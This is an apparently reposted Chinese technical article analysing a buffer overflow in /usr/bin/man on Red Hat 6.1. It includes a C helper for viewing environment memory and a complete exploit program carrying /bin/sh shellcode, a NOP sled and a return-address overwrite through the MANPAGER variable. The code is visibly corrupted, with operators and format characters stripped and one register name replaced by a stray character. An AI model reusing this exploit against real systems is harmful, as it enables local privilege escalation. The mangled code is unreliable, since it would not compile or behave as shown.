缓冲区溢出分析

互联网   发布时间:2008-10-08 19:35:35   作者:佚名   我要评论
1. 简介 我在 http://www.hack.co.za/ 上看到 Lam3rZ 小组的 Kil3r 写的一个针对 redhat 6.1 (and others) /usr/bin/man exploit,下载回来后,直接编译运行,并 没有完成攻击。注意到原exploit是针对不可执行堆栈环境编写的,而我测试的主机 没有打不可执
这里根本没有使用传统的 get_esp() 函数,而且这个exploit code适用于常规环境。
但是这种溢出攻击技术,需要精确覆盖返回地址,并且无法采用传统的大段返回地址
覆盖一片区域的方式,因为涉及到构造 strcpy() 函数调用假栈帧的技术问题。注意
到,实际上我们现在唯一需要调整的就是溢出点,可以考虑暴力猜测调整溢出点。再
就是,这次关键没有core dump出现,一般都有core dump,那样的话就可以不用暴力
猜测调整了。

我还碰到一个问题,该exploit code在SecureCRT或者CRT下执行都无法取得shell,
虽然段溢出发生了。仅仅当我使用telnet的时候才正确取得shell,原因未明。建议
如果实在无法取得shell,考虑换个终端工具试试(tt胡言乱语),faint

6. 一个辅助观察execle()之后内存布局的小程序

/*
* gcc -o ev ev.c
* scz < mailto: scz@isbase.com >
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>

#define SUCCESS 0
#define FAILURE -1
#define ENVDATA 0xbfffff00
#define ENVDATALEN 256

void outputBinary ( const unsigned char * byteArray, const size_t byteArrayLen )
{
u_long offset;
int i, j, k;
fprintf( stderr, "byteArray [ %lu bytes ] ----> \n", byteArrayLen );
if ( byteArrayLen <= 0 )
{
return;
}
i = 0;
offset = 0;
for ( k = byteArrayLen / 16; k > 0; k--, offset = 16 )
{
fprintf( stderr, "X ", offset );
for ( j = 0; j < 16; j , i )
{
if ( j == 8 )
{
fprintf( stderr, "-X", byteArray );
}
else
{
fprintf( stderr, " X", byteArray );
}
}
fprintf( stderr, " " );
i -= 16;
for ( j = 0; j < 16; j , i )
{
/* if ( isprint( (int)byteArray ) ) */
if ( ( byteArray >= ' ' ) && ( byteArray <= 255 ) )
{
fprintf( stderr, "%c", byteArray );
}
else
{
fprintf( stderr, "." );
}
}
fprintf( stderr, "\n" );
} /* end of for */
k = byteArrayLen - i;
if ( k <= 0 )
{
return;
}
fprintf( stderr, "X ", offset );
for ( j = 0 ; j < k; j , i )
{
if ( j == 8 )
{
fprintf( stderr, "-X", byteArray );
}
else
{
fprintf( stderr, " X", byteArray );
}
}
i -= k;
for ( j = 16 - k; j > 0; j-- )
{
fprintf( stderr, " " );
}
fprintf( stderr, " " );
for ( j = 0; j < k; j , i )
{
if ( ( byteArray >= ' ' ) && ( byteArray <= 255 ) )
{
fprintf( stderr, "%c", byteArray );
}
else
{
fprintf( stderr, "." );
}
}
fprintf( stderr, "\n" );
return;
} /* end of outputBinary */

int main ( int argc, char * argv[] )
{
u_char * envData = ( u_char * )ENVDATA;
size_t envDataLen = ENVDATALEN;
if ( argc > 1 )
{
/* 采用16进制 */
envData = ( u_char * )strtoul( argv[1], NULL, 16 );
if ( argc > 2 )
{
/* 采用10进制 */
envDataLen = ( size_t )strtoul( argv[2], NULL, 10 );
}
}
fprintf( stderr, "Usage: %s [ envData ] [ envDataLen ]\n", argv[0] );
fprintf( stderr, "envData = %p\n", envData );
fprintf( stderr, "envDataLen = %lu\n", envDataLen );
outputBinary( envData, envDataLen );
return( SUCCESS );
} /* end of main */

程序很简单,就是显示一段内存映像。我们所要做的,就是把exploit code里的几个
地方修改一下:

#define VULPROGRAM "./ev"
execle( VULPROGRAM, VULPROGRAM, "0xbfffff00", NULL, env );

这样观察得到的shellcode源地址显然不适用,因为这里的./ev和/usr/bin/man长度
不一样,熟悉elf文件格式的应该可以理解这点。于是我们简单处理一下:

cp ev usrbin_man
#define VULPROGRAM "./usrbin_man"
execle( VULPROGRAM, VULPROGRAM, "0xbfffff00", NULL, env );

此刻看到的shellcode源地址就和 /usr/bin/man 进程空间环境变量区里的一致了。
必须意识到 execle() 第一个形参对进程空间环境变量区的影响。

这种技术手段适用于SPARC/Solaris平台,我们利用它可以确定很多关键性地址,可
以调整那些需要n字节边界对齐的地方。

7. 编写针对常规环境下的溢出攻击程序

--------------------------------------------------------------------------
/*
* File : ex_man.c for redhat 6.1 /usr/bin/man
* Author : Kil3r of Lam3rZ
* Rewriten : warning3 < mailto: warning3@isbase.com >
* Complie : gcc -o ex_man ex_man.c
* Usage : ./ex_man
* Date : 2000-05-16
*/

#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/types.h>

/* 一段标准的linux/i386下的shellcode */
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define VULPROGRAM "/usr/bin/man"
#define VULPOINT 4067
#define NOP 0x90
#define SUCCESS 0
#define FAILURE -1
#define OFFSET 2000

unsigned long get_esp ( void )
{
__asm__
("
movl %esp, 陎
");
} /* end of get_esp */

int main ( int argc, char * argv[] )
{

char * env[2];
u_long * pointer;
u_long retAddress;
char vulbuf[ VULPOINT 5 ];

memset( vulbuf, NOP, VULPOINT 5 );
memcpy( vulbuf VULPOINT - ( strlen( shellcode ) 20 ),
shellcode, strlen( shellcode ) );

retAddress = get_esp() OFFSET;
pointer = ( u_long * )( vulbuf VULPOINT );
*pointer = retAddress;
fprintf( stderr, "retAddress = 0xx\n", retAddress );

memcpy( vulbuf, "MANPAGER=", 9 );
vulbuf[ VULPOINT 4 ] = '\0';
env[0] = vulbuf;
env[1] = NULL;
execle( VULPROGRAM, VULPROGRAM, "ls", NULL, env );
return( SUCCESS );
} /* end of main */

相关文章

最新评论